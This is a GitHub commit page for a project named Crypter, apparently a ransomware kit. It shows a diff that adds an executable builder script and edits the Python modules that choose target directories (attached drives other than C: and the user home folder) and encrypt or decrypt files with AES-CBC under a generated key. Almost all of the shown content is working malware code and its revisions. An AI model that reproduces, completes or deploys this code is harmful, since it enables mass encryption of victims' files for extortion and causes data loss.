Skip to content

Commit

Permalink
Merge branch 'release/3.0'
Browse files Browse the repository at this point in the history
  • Loading branch information
CSec0ps committed Apr 26, 2020
2 parents 2561f21 + fdba94c commit ab9890a
Show file tree
Hide file tree
Showing 47 changed files with 5,694 additions and 4,530 deletions.
16 changes: 14 additions & 2 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,7 +1,19 @@
.idea/
# FILES
Main.spec
todo.txt
key.txt
*.pyc
*.swn
*.swo
*.swp
key.txt
*~
CrypterBuilder/Resources/runtime.cfg

# DIRS
Crypter.egg-info/*
Crypter/.settings/
bin/
build/
dist/
venv/
.idea/
11 changes: 11 additions & 0 deletions Builder.pyw
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
'''
@summary: Crypter Build script. Invokes the Crypter Exe Builder
@author: Sithis
'''

# Import libs
import win32api
from CrypterBuilder import Builder

builder = Builder()
builder.launch()
14 changes: 8 additions & 6 deletions Crypter/Base.py → Crypter/Crypter/Base.py
Original file line number Diff line number Diff line change
Expand Up @@ -7,8 +7,11 @@
# Import libs
import os
import locale
from operator import attrgetter

import win32api
import win32file
from subprocess import Popen, PIPE, DEVNULL

# Import classes

Expand Down Expand Up @@ -127,24 +130,23 @@ def is_optical_drive(self, drive_letter):
return True
else:
return False


def get_base_dirs(self, home_dir, __config):
# Function to return a list of base directories to encrypt
base_dirs = []

# Add attached drives and file shares
if __config["encrypt_attached_drives"] is True:
attached_drives = win32api.GetLogicalDriveStrings().split('\000')[:-1]
for drive in attached_drives:
drive_letter = drive[0]
if drive_letter != 'C' and not self.is_optical_drive(drive_letter):
drive_letter = drive[0].lower()
if drive_letter != 'c' and not self.is_optical_drive(drive_letter):
base_dirs.append(drive)

# Add C:\\ user space directories
if __config["encrypt_user_home"] is True:
base_dirs.append(home_dir)


return base_dirs

20 changes: 15 additions & 5 deletions Crypter/Crypt.py → Crypter/Crypter/Crypt.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@
import os

# Import classes
import Base
from . import Base

######################
## Symmetric Crypto ##
Expand All @@ -21,9 +21,12 @@ class SymmetricCrypto(Base.Base):

def __init__(self, key=None):
# Init object
self.pad = lambda s: s + (self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE) * chr(self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE)
self.unpad = lambda s : s[0:-ord(s[-1])]
#self.pad = lambda s: s + (self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE) * chr(self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE)
self.unpad = lambda s : s[0:-s[-1]]


def pad(self, s):
return s + bytes((self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE) * chr(self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE), encoding="utf-8")

def init_keys(self, key=None):
'''
Expand All @@ -32,8 +35,10 @@ def init_keys(self, key=None):
'''

if not key:
print("Loading a key")
self.load_symmetric_key()
else:
print("using existing key: %s" % key)
self.key = key


Expand All @@ -44,11 +49,14 @@ def load_symmetric_key(self):
fh = open("key.txt", "r")
self.key = fh.read()
fh.close()
print("Key file already here. Using + " + self.key)
else:
print("No key file. Generating")
self.key = self.generate_key()

def generate_key(self):
# Function to generate a random key for encryption
print("writing out key to " + os.getcwd())

key = ''.join(random.choice('0123456789ABCDEF') for i in range(32))
# DEV - Write to file
Expand Down Expand Up @@ -104,13 +112,15 @@ def decrypt_file(self, file, decryption_key, extension):
# Get file details and check for errors
file_details = self.process_file(file, "decrypt", extension)
if file_details['error']:
print("Some kind of error getting file details")
return

# Open file reading and writing handles
try:
fh_read = open(file_details["locked_path"], "rb")
fh_write = open(file_details["full_path"], "wb")
except IOError:
print("Got IO Error below fh read and write")
return False

# Read blocks and decrypt
Expand All @@ -125,7 +135,7 @@ def decrypt_file(self, file, decryption_key, extension):
ciphertext = block
iv = ciphertext[:self.IV_SIZE]
ciphertext = ciphertext[self.IV_SIZE:]
cipher = AES.new(decryption_key, AES.MODE_CBC, iv)
cipher = AES.new(bytes(decryption_key, encoding="utf-8"), AES.MODE_CBC, iv)
cleartext = self.unpad(cipher.decrypt(ciphertext))

# Write decrypted block
Expand Down Expand Up @@ -173,7 +183,7 @@ def encrypt_file(self, file, extension):


iv = Random.new().read(AES.block_size)
cipher = AES.new(self.key, AES.MODE_CBC, iv)
cipher = AES.new(bytes(self.key, encoding="utf-8"), AES.MODE_CBC, iv)
try:
# Create ciphertext. Length is now 4096 + 32 (block + iv + padding)
ciphertext = (iv + cipher.encrypt(to_encrypt))
Expand Down
Loading

0 comments on commit ab9890a

Please sign in to comment.